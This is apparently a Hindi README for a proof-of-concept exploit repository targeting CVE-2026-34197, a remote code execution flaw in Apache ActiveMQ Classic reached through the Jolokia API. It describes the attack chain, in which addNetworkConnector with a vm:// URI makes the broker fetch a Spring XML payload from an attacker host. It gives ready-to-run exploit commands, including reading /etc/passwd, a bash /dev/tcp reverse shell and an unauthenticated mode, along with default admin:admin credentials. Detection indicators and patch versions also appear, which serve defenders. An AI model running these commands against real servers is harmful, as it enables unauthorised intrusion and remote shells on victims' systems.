
CVE-2026-34197 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Jolokia API के माध्यम से Apache ActiveMQ में एक RCE है। इसमें एक Python एक्सप्लॉइट, पेलोड टेम्पलेट, और परीक्षण एवं शोध के लिए Docker लैब शामिल है।
CVE-2026-34197 Apache ActiveMQ Classic में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो एक हमलावर को वेब कंसोल में उजागर Jolokia API के माध्यम से सर्वर के ऑपरेटिंग सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है।
यह भेद्यता 13 वर्षों से अधिक समय से मौजूद है और कई घटकों के बीच परस्पर क्रिया में निहित है: Jolokia (HTTP-JMX ब्रिज), ActiveMQ के MBeans, नेटवर्क कनेक्टर और VM ट्रांसपोर्ट।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-34197 |
| प्रकार | RCE (रिमोट कोड एक्ज़ीक्यूशन) |
| CWE | CWE-20 (गलत इनपुट सत्यापन), CWE-94 (कोड इंजेक्शन) |
| प्रभावित संस्करण | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| पैच किए गए संस्करण | 5.19.4, 6.2.3 |
| प्रमाणीकरण आवश्यक | हाँ (डिफ़ॉल्ट क्रेडेंशियल admin:admin सामान्य हैं) |
| बिना प्रमाणीकरण | 6.0.0 — 6.1.1 (CVE-2024-32114 के कारण) |
| डिफ़ॉल्ट पोर्ट | 8161 (वेब कंसोल) |
हमले की श्रृंखला इस प्रकार काम करती है:
/api/jolokia/ पर एक POST अनुरोध भेजता है जो ब्रोकर के MBean के addNetworkConnector ऑपरेशन को आमंत्रित करता है।vm:// ट्रांसपोर्ट वाला एक URI होता है जो एक गैर-मौजूद ब्रोकर को संदर्भित करता है।brokerConfig पैरामीटर स्वीकार करता है जो एक दूरस्थ URL की ओर इशारा करता है।xbean: स्कीम इंगित करती है कि संसाधन एक Spring XML कॉन्फ़िगरेशन फ़ाइल है।Runtime.getRuntime().exec() निष्पादित करता है।हमलावर ActiveMQ (पीड़ित)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- VM ब्रोकर बनाता है
| |-- x.xml डाउनलोड करता है
|<-- GET /x.xml --------------------|
|-- XML पेलोड के साथ उत्तर देता है ->|
| |-- Spring बीन्स इंस्टैंशिएट करता है
| |-- Runtime.exec(कमांड)
| |
CVE-2026-34197/
├── README.md # यह फ़ाइल
├── exploit.py # मुख्य PoC
├── payloads/
│ └── template.xml # Spring XML पेलोड टेम्पलेट
├── docker/
│ └── docker-compose.yml # कमजोर प्रयोगशाला वातावरण
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
यह localhost:8161 पर एक कमजोर ActiveMQ Classic 5.18.6 शुरू करता है।
# डिफ़ॉल्ट क्रेडेंशियल के साथ बुनियादी उपयोग
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id"
# क्रेडेंशियल निर्दिष्ट करें
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin
# पेलोड HTTP सर्वर का पोर्ट निर्दिष्ट करें
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd"
# बिना प्रमाणीकरण मोड (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth
# रिवर्स शेल
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1"
| पैरामीटर | विवरण |
|---|---|
-t, --target | लक्ष्य का आधार URL (उदा: http://10.0.0.1:8161) |
-l, --lhost | XML पेलोड परोसने के लिए हमलावर का IP |
-lp, --lport | स्थानीय HTTP सर्वर का पोर्ट (डिफ़ॉल्ट: 8888) |
-c, --command | लक्ष्य पर निष्पादित करने के लिए कमांड |
-u, --user | उपयोगकर्ता (डिफ़ॉल्ट: admin) |
-p, --password | पासवर्ड (डिफ़ॉल्ट: admin) |
--no-auth | क्रेडेंशियल न भेजें (संस्करण 6.0.0 - 6.1.1 के लिए) |
--broker-name | ब्रोकर का नाम (डिफ़ॉल्ट: localhost) |
ActiveMQ ब्रोकर लॉग में संकेतक:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
अन्य संकेतक:
addNetworkConnector के साथ /api/jolokia/ पर POST अनुरोधbrokerConfig=xbean:http के साथ vm:// URIs के लिए ब्रोकर लॉग की निगरानी करेंKONDOR DEV SECURITY द्वारा निर्मित
यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इस टूल का उपयोग अवैध है। लेखक इस टूल के दुरुपयोग के लिए ज़िम्मेदार नहीं है।
MIT — कॉपीराइट (c) 2026 KONDOR DEV SECURITY